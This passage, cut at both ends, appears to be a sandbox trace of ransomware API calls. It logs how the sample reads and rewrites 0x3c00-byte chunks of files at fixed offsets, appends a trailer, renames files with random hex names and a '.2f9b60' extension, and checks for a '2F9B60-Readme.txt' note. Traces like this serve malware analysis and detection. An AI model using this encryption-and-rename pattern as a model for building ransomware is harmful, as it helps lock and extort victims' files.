_Dest=0x1ce6283c, _Format="%c%c" | out: _Dest="5a") returned 2 [0233.226] sprintf (in: _Dest=0x1ce6283e, _Format="%c%c" | out: _Dest="c9") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62840, _Format="%c%c" | out: _Dest="19") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62842, _Format="%c%c" | out: _Dest="4f") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62844, _Format="%c%c" | out: _Dest="b4") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62846, _Format="%c%c" | out: _Dest="ef") returned 2 [0233.226] sprintf (in: _Dest=0x1ce62848, _Format="%c%c" | out: _Dest="6a") returned 2 [0233.226] sprintf (in: _Dest=0x1ce6284a, _Format="%c%c" | out: _Dest="e5") returned 2 [0233.226] sprintf (in: _Dest=0x1ce6284c, _Format="%c%c" | out: _Dest="4f") returned 2 [0233.226] sprintf (in: _Dest=0x1ce6284e, _Format="%c%c" | out: _Dest="d9") returned 2 [0233.227] sprintf (in: _Dest=0x1ce62850, _Format="%c%c" | out: _Dest="f1") returned 2 [0233.227] sprintf (in: _Dest=0x1ce62852, _Format="%c%c" | out: _Dest="9a") returned 2 [0233.227] sprintf (in: _Dest=0x1ce62854, _Format="%c%c" | out: _Dest="03") returned 2 [0233.227] sprintf (in: _Dest=0x1ce62856, _Format="%c%c" | out: _Dest="7c") returned 2 [0233.227] sprintf (in: _Dest=0x1ce62858, _Format="%c%c" | out: _Dest="62") returned 2 [0233.227] sprintf (in: _Dest=0x1ce6285a, _Format="%c%c" | out: _Dest="3c") returned 2 [0233.227] RtlInitAnsiString (in: DestinationString=0x2cd3f8a8, SourceString="9d798e59379bb40f91d8ddec6d785ac9194fb4ef6ae54fd9f19a037c623c" | out: DestinationString="9d798e59379bb40f91d8ddec6d785ac9194fb4ef6ae54fd9f19a037c623c") [0233.227] RtlAnsiStringToUnicodeString (in: DestinationString=0x2cd3f878, SourceString="9d798e59379bb40f91d8ddec6d785ac9194fb4ef6ae54fd9f19a037c623c", AllocateDestinationString=1 | out: DestinationString="9d798e59379bb40f91d8ddec6d785ac9194fb4ef6ae54fd9f19a037c623c") returned 0x0 [0233.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431a2340 [0233.228] wcscat (in: _Dest=0x202ac9a0, _Source="9d798e59379bb40" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\9d798e59379bb40") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\9d798e59379bb40" [0233.228] wcscat (in: _Dest=0x202ac9a0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\9d798e59379bb40.2f9b60") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\9d798e59379bb40.2f9b60" [0233.228] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\9d798e59379bb40.2f9b60", NtPathName=0x2cd3f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\9d798e59379bb40.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0233.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x43113d10 [0237.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43113d10) returned 1 [0237.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43226460) returned 1 [0237.487] NtQueryInformationFile (in: FileHandle=0x1094, IoStatusBlock=0x2cd3f8b8, FileInformation=0x2cd3f8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cd3f8b8, FileInformation=0x2cd3f8c8) returned 0x0 [0237.487] NtSetInformationFile (FileHandle=0x1094, IoStatusBlock=0x2cd3f8b8, FileInformation=0x2cd3f8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac9a0) returned 1 [0237.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a2340) returned 1 [0237.490] FlushFileBuffers (hFile=0x1094) returned 1 [0238.176] CloseHandle (hObject=0x1094) returned 1 [0240.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd653f0 [0240.437] wcscpy (in: _Dest=0x1cd653f0, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0240.437] wcscat (in: _Dest=0x1cd653f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\2F9B60-Readme.txt" [0240.437] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\2f9b60-readme.txt")) returned 0x2020 [0240.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd653f0) returned 1 [0240.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad660) returned 1 Thread: id = 2491 os_tid = 0x1f60 [0154.474] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mssres00002.jrs")) returned 0x2020 [0154.474] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs", dwFileAttributes=0x20) [0203.385] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows\\mssres00002.jrs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x147c [0203.386] GetFileSizeEx (in: hFile=0x147c, lpFileSize=0x2dcdf6c0 | out: lpFileSize=0x2dcdf6c0*=1048576) returned 1 [0203.386] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0xffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.386] ReadFile (in: hFile=0x147c, lpBuffer=0x2dcdf640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2dcdf688, lpOverlapped=0x0 | out: lpBuffer=0x2dcdf640*, lpNumberOfBytesRead=0x2dcdf688*=0x4, lpOverlapped=0x0) returned 1 [0203.960] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a7e0 [0203.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859490 [0203.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859880 [0203.962] NtQuerySystemTime (in: CurrentTime=0x2dcdf580 | out: CurrentTime=0x2dcdf580*=132462178090474000) returned 0x0 [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x6b125945 [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x2b540621 [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x6dd4108d [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x7417916b [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x3b4b3ba [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x7b2e397a [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x3410889d [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x8245092 [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x64f786 [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x6d72557e [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x4f5800b3 [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x34e1dd23 [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x6500b230 [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x1bd0909f [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x17a97f7 [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x3c2eb14f [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x2196b68e [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x17afb39f [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x1f076181 [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x732fbc14 [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x4ab1843d [0203.962] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x688afbeb [0203.963] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x604f0c07 [0203.963] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x8afa1a7 [0203.963] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x3a712738 [0203.963] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x2d5eaa9d [0203.963] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x156f4341 [0203.963] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x50fc0ab8 [0203.963] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x27c171f5 [0203.963] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x4e4fdf6b [0203.963] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x4af23ecf [0203.963] RtlRandomEx (in: Seed=0x2dcdf570 | out: Seed=0x2dcdf570) returned 0x61c4a3d8 [0203.971] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.971] ReadFile (in: hFile=0x147c, lpBuffer=0x42ac49e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2dcdf5e0, lpOverlapped=0x0 | out: lpBuffer=0x42ac49e0*, lpNumberOfBytesRead=0x2dcdf5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0204.006] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be50 [0204.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869540 [0204.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859cd0 [0204.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859cd0) returned 1 [0204.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4226a920 [0204.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859cd0 [0204.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a750 [0204.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a750) returned 1 [0204.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869540) returned 1 [0204.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 [0204.011] WriteFile (in: hFile=0x147c, lpBuffer=0x4226a920*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2dcdf5e0, lpOverlapped=0x0 | out: lpBuffer=0x4226a920*, lpNumberOfBytesWritten=0x2dcdf5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0215.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4226a920) returned 1 [0215.014] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0x83400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.014] ReadFile (in: hFile=0x147c, lpBuffer=0x42ac49e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2dcdf5e0, lpOverlapped=0x0 | out: lpBuffer=0x42ac49e0*, lpNumberOfBytesRead=0x2dcdf5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0215.016] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0x83400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62730 [0215.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0215.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8820 [0215.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8820) returned 1 [0215.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4226a920 [0215.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8820 [0215.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced73b0 [0215.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced73b0) returned 1 [0215.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0215.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62730) returned 1 [0215.021] WriteFile (in: hFile=0x147c, lpBuffer=0x4226a920*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2dcdf5e0, lpOverlapped=0x0 | out: lpBuffer=0x4226a920*, lpNumberOfBytesWritten=0x2dcdf5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0228.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4226a920) returned 1 [0228.084] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0xfc400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.084] ReadFile (in: hFile=0x147c, lpBuffer=0x42ac49e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2dcdf5e0, lpOverlapped=0x0 | out: lpBuffer=0x42ac49e0*, lpNumberOfBytesRead=0x2dcdf5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0228.581] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0xfc400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61c90 [0228.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0228.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a30 [0228.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a30) returned 1 [0228.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aadaa0 [0228.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a30 [0228.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5ec0 [0228.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5ec0) returned 1 [0228.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0228.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61c90) returned 1 [0228.584] WriteFile (in: hFile=0x147c, lpBuffer=0x42aadaa0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2dcdf5e0, lpOverlapped=0x0 | out: lpBuffer=0x42aadaa0*, lpNumberOfBytesWritten=0x2dcdf5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0238.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aadaa0) returned 1 [0238.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431057c0 [0238.412] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0238.412] WriteFile (in: hFile=0x147c, lpBuffer=0x133760*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2dcdf690, lpOverlapped=0x0 | out: lpBuffer=0x133760*, lpNumberOfBytesWritten=0x2dcdf690*=0x150, lpOverlapped=0x0) returned 1 [0241.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0241.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebace0 [0241.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e680 [0241.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e680) returned 1 [0241.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x2050e680 [0241.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e6b0 [0241.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e500 [0241.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e500) returned 1 [0241.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebace0) returned 1 [0241.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0241.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce62640 [0241.977] sprintf (in: _Dest=0x1ce62640, _Format="%c%c" | out: _Dest="d0") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62642, _Format="%c%c" | out: _Dest="69") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62644, _Format="%c%c" | out: _Dest="71") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62646, _Format="%c%c" | out: _Dest="52") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62648, _Format="%c%c" | out: _Dest="3b") returned 2 [0241.977] sprintf (in: _Dest=0x1ce6264a, _Format="%c%c" | out: _Dest="4e") returned 2 [0241.977] sprintf (in: _Dest=0x1ce6264c, _Format="%c%c" | out: _Dest="d5") returned 2 [0241.977] sprintf (in: _Dest=0x1ce6264e, _Format="%c%c" | out: _Dest="d6") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62650, _Format="%c%c" | out: _Dest="9a") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62652, _Format="%c%c" | out: _Dest="97") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62654, _Format="%c%c" | out: _Dest="59") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62656, _Format="%c%c" | out: _Dest="6f") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62658, _Format="%c%c" | out: _Dest="2a") returned 2 [0241.977] sprintf (in: _Dest=0x1ce6265a, _Format="%c%c" | out: _Dest="91") returned 2 [0241.977] sprintf (in: _Dest=0x1ce6265c, _Format="%c%c" | out: _Dest="e9") returned 2 [0241.977] sprintf (in: _Dest=0x1ce6265e, _Format="%c%c" | out: _Dest="f9") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62660, _Format="%c%c" | out: _Dest="04") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62662, _Format="%c%c" | out: _Dest="d2") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62664, _Format="%c%c" | out: _Dest="9f") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62666, _Format="%c%c" | out: _Dest="4e") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62668, _Format="%c%c" | out: _Dest="55") returned 2 [0241.977] sprintf (in: _Dest=0x1ce6266a, _Format="%c%c" | out: _Dest="2b") returned 2 [0241.977] sprintf (in: _Dest=0x1ce6266c, _Format="%c%c" | out: _Dest="e1") returned 2 [0241.977] sprintf (in: _Dest=0x1ce6266e, _Format="%c%c" | out: _Dest="b2") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62670, _Format="%c%c" | out: _Dest="8d") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62672, _Format="%c%c" | out: _Dest="9c") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62674, _Format="%c%c" | out: _Dest="2c") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62676, _Format="%c%c" | out: _Dest="ca") returned 2 [0241.977] sprintf (in: _Dest=0x1ce62678, _Format="%c%c" | out: _Dest="a0") returned 2 [0241.977] sprintf (in: _Dest=0x1ce6267a, _Format="%c%c" | out: _Dest="3c") returned 2 [0241.978] RtlInitAnsiString (in: DestinationString=0x2dcdf708, SourceString="d06971523b4ed5d69a97596f2a91e9f904d29f4e552be1b28d9c2ccaa03c" | out: DestinationString="d06971523b4ed5d69a97596f2a91e9f904d29f4e552be1b28d9c2ccaa03c") [0241.978] RtlAnsiStringToUnicodeString (in: DestinationString=0x2dcdf6d8, SourceString="d06971523b4ed5d69a97596f2a91e9f904d29f4e552be1b28d9c2ccaa03c", AllocateDestinationString=1 | out: DestinationString="d06971523b4ed5d69a97596f2a91e9f904d29f4e552be1b28d9c2ccaa03c") returned 0x0 [0241.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431564f0 [0241.978] wcscat (in: _Dest=0x431a7850, _Source="d06971523b4ed5d" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\d06971523b4ed5d") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\d06971523b4ed5d" [0241.978] wcscat (in: _Dest=0x431a7850, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\d06971523b4ed5d.2f9b60") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\d06971523b4ed5d.2f9b60" [0241.978] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\d06971523b4ed5d.2f9b60", NtPathName=0x2dcdf6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\d06971523b4ed5d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0241.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x4205f910 [0244.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f910) returned 1 [0244.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4308e900) returned 1 [0244.107] NtQueryInformationFile (in: FileHandle=0x147c, IoStatusBlock=0x2dcdf718, FileInformation=0x2dcdf728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2dcdf718, FileInformation=0x2dcdf728) returned 0x0 [0244.107] NtSetInformationFile (FileHandle=0x147c, IoStatusBlock=0x2dcdf718, FileInformation=0x2dcdf728, Length=0x28, FileInformationClass=0x4) Thread: id = 2492 os_tid = 0x1f64 [0154.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205ce70 [0154.476] wcscpy (in: _Dest=0x4205ce70, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects" [0154.476] wcscat (in: _Dest=0x4205ce70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\" [0154.476] wcscat (in: _Dest=0x4205ce70, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*" [0154.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec5ae0 [0154.476] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*", lpFindFileData=0x1cec5ae0 | out: lpFindFileData=0x1cec5ae0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc10 [0154.476] wcscmp (_String1=".", _String2=".") returned 0 [0154.476] FindNextFileW (in: hFindFile=0x1cd9dc10, lpFindFileData=0x1cec5ae0 | out: lpFindFileData=0x1cec5ae0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.477] wcscmp (_String1="..", _String2=".") returned 1 [0154.477] wcscmp (_String1="..", _String2="..") returned 0 [0154.477] FindNextFileW (in: hFindFile=0x1cd9dc10, lpFindFileData=0x1cec5ae0 | out: lpFindFileData=0x1cec5ae0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="SYSTEM~1")) returned 1 [0154.477] wcscmp (_String1="SystemIndex", _String2=".") returned 1 [0154.477] wcscmp (_String1="SystemIndex", _String2="..") returned 1 [0154.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd65c30 [0154.477] wcscpy (in: _Dest=0x1cd65c30, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects" [0154.477] wcscat (in: _Dest=0x1cd65c30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\" [0154.477] wcscat (in: _Dest=0x1cd65c30, _Source="SystemIndex" | out: 